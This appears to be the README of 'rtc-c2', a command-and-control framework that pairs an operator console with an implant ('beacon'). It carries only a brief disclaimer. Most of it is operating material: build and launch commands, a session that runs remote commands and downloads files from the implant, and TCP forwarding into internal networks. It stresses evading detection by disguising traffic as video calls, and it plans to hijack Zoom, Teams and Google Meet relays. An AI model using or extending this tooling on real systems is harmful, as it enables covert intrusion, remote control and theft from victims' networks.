WebRTC-based Command & Control framework. Direct TCP forward over encrypted WebRTC data channels — like SSH -L style port forwarding, but nested inside DTLS tunnels.
by: ek0ms savi0r
DISCLAIMER- FOR AUTHORIZED SECURITY TESTING AND EDUCATIONAL PURPOSES ONLY
┌─────────────────┐ ┌──────────────────────┐ ┌──────────────────┐
│ Operator │ │ TURN/STUN Relay │ │ Beacon │
│ (C2 Server) │───▶│ (Provider Infra) │◀───│ (Implant) │
│ │ │ ── DTLS tunnel ──▶ │ │ │
│ - Direct fwd │ │ Encrypted WebRTC │ │ - Task executor │
│ - Task dispatch │ │ data channel │ │ - Tunnel fwd │
│ - Console │ │ Indistinguishable │ │ - Persistence │
│ - WS signaller │ │ from video calls │ │ │
└─────────────────┘ └──────────────────────┘ └──────────────────┘
DISCLAIMER: For Authorized Security Testing and Educational Purposes only.
| Component | Means |
|---|---|
| Transport | Pion WebRTC + Google STUN |
| Signaller | HTTP or WebSocket rendezvous (WS = stealthier) |
| Tunnel | Direct TCP forward over WebRTC |
| Protocol | JSON envelope over DTLS |
| Component | Means |
|---|---|
| Transport | Provider TURN (Zoom/Google/Teams) |
| Signaller | Meeting invitation protocol |
| Tunnel | Direct TCP over provider media relay |
| Auth | Meeting join credentials (ephemeral) |
| Infra | Zero — no VPS, no domains, no certs |
git clone https://github.com/h0mi3e/rtc-c2
cd rtc-c2
make build
Windows/Linux/macOS binaries in bin/.
Terminal 1 — Operator:
./bin/operator -sig-addr :9090 -session my-session
Terminal 2 — Beacon:
./bin/beacon -signaller http://127.0.0.1:9090 -session my-session
Once a beacon connects:
=== rtc-c2 Operator Console ===
> beacons
Connected beacons (1):
------------------------------------------------------------
Beacon ID User@Host OS Arch
------------------------------------------------------------
hostname-1234... user@host linux amd64
> use hostname-1234
[+] Using beacon abc123def456 (user@host)
> exec whoami
[*] Task sent
> exec uname -a
> info
> back
Use the forward command for direct TCP forwarding through the beacon:
# In operator console:
> forward 127.0.0.1:4444 10.0.1.100:80
[+] Forward: 127.0.0.1:4444 -> 10.0.1.100:80 (via active beacon)
> forwards
Active forwards:
127.0.0.1:4444 -> 10.0.1.100:80 (via beacon)
Then in another terminal:
# Point your browser/tool at localhost:4444
curl http://127.0.0.1:4444/resource
# Or use --resolve for clean hostnames
curl http://internal.corp/resource --resolve internal.corp:80:127.0.0.1
Manage forwards:
> forwards # list active forwards
> stop-forward :4444 # stop a forward
What's happening:
1. Operator listens on 127.0.0.1:4444
2. Raw TCP data gets wrapped in WebRTC messages → sent to beacon
3. Beacon connects to 10.0.1.100:80 and bridges the connection
For stealthier SDP exchange, use WebSocket instead of HTTP polling:
# Operator
./bin/operator -sig-addr :9090 -session stealth -ws
# Beacon
./bin/beacon -signaller http://127.0.0.1:9090 -session stealth -ws
WebSocket signaller keeps a persistent connection — looks like a normal web app data feed instead of HTTP polling. Harder to detect as C2 traffic.
| Command | Description |
|---|---|
beacons |
List connected beacons |
use <id> |
Open interactive session with beacon |
forward <local> <remote> |
Direct TCP forward (SSH -L style) |
forwards |
List active forwards |
stop-forward <local> |
Stop a forward listener |
help |
Show help |
exit |
Shut down |
| Command | Description |
|---|---|
exec <cmd> |
Run command on beacon |
info |
Get system info |
whoami |
Get user identity |
download <path> |
Download file from beacon |
back |
Return to main menu |
rtc-c2/
├── cmd/
│ ├── operator/ # C2 server binary
│ │ └── main.go
│ └── beacon/ # Implant binary
│ ├── main.go
│ └── util.go
├── pkg/
│ ├── transport/ # WebRTC peer connection
│ │ ├── config.go
│ │ └── peer.go
│ ├── signaller/ # SDP exchange (HTTP + WebSocket)
│ │ ├── signaller.go
│ │ └── websocket.go
│ ├── protocol/ # C2 message protocol
│ │ ├── message.go
│ │ └── task.go
│ └── tunnel/ # Direct TCP forward over WebRTC
│ ├── listener.go # Operator-side forward listener
│ └── forward.go # Beacon-side connection forwarder
├── bin/ # Build output
├── Makefile
├── go.mod / go.sum
└── README.md
The long game is zero-infrastructure C2 by piggybacking on provider WebRTC infra:
| Phase | What | Infra Needed |
|---|---|---|
| 1 | Dev mode (HTTP/WS signaller) | LAN or same VPC |
| 2 | Self-hosted TURN (coturn) | VPS with UDP open |
| 3 | Jitsi Meet integration | Jitsi server or meet.jit.si |
| 4 | Google Meet integration | None — just a Gmail bot |
| 5 | Zoom + Teams | None — join existing infra |
TaskType constant in pkg/protocol/task.gobeacon/main.go's executeTask()Built by ek0ms 🖤 — Church of Malware
// click a file to view source